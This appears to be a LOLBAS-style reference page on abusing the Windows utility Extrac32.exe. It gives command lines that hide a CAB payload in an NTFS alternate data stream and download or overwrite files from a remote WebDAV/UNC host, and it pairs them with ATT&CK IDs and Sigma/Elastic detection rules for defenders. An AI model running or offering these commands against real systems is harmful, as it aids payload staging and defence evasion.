.. /Extrac32.exe

Alternate data streams (Compression) | Download | Copy

Extract to ADS, copy or overwrite a file with Extrac32.exe

Paths:
C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe

Resources:
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- https://twitter.com/egre55/status/985994639202283520

Acknowledgements:
- egre55 (@egre55)
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Detections:
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Alternate data streams

. Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

```
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
```

Use case:	Extract data from cab file and hide it in an alternate data stream.
Privileges required:	User
Operating systems:	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1564.004
Tags:	Type: Compression

. Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

```
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
```

Use case: Extract data from cab file and hide it in an alternate data stream.
Privileges required: User
Operating systems: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004
Tags: Type: Compression

Download

Copy the source file to the destination file and overwrite it.

```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```

Use case: Download file from UNC/WEBDav
Privileges required: User
Operating systems: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105

Copy

Command for copying calc.exe to another folder

```
extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
```

Use case: Copy file
Privileges required: User
Operating systems: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105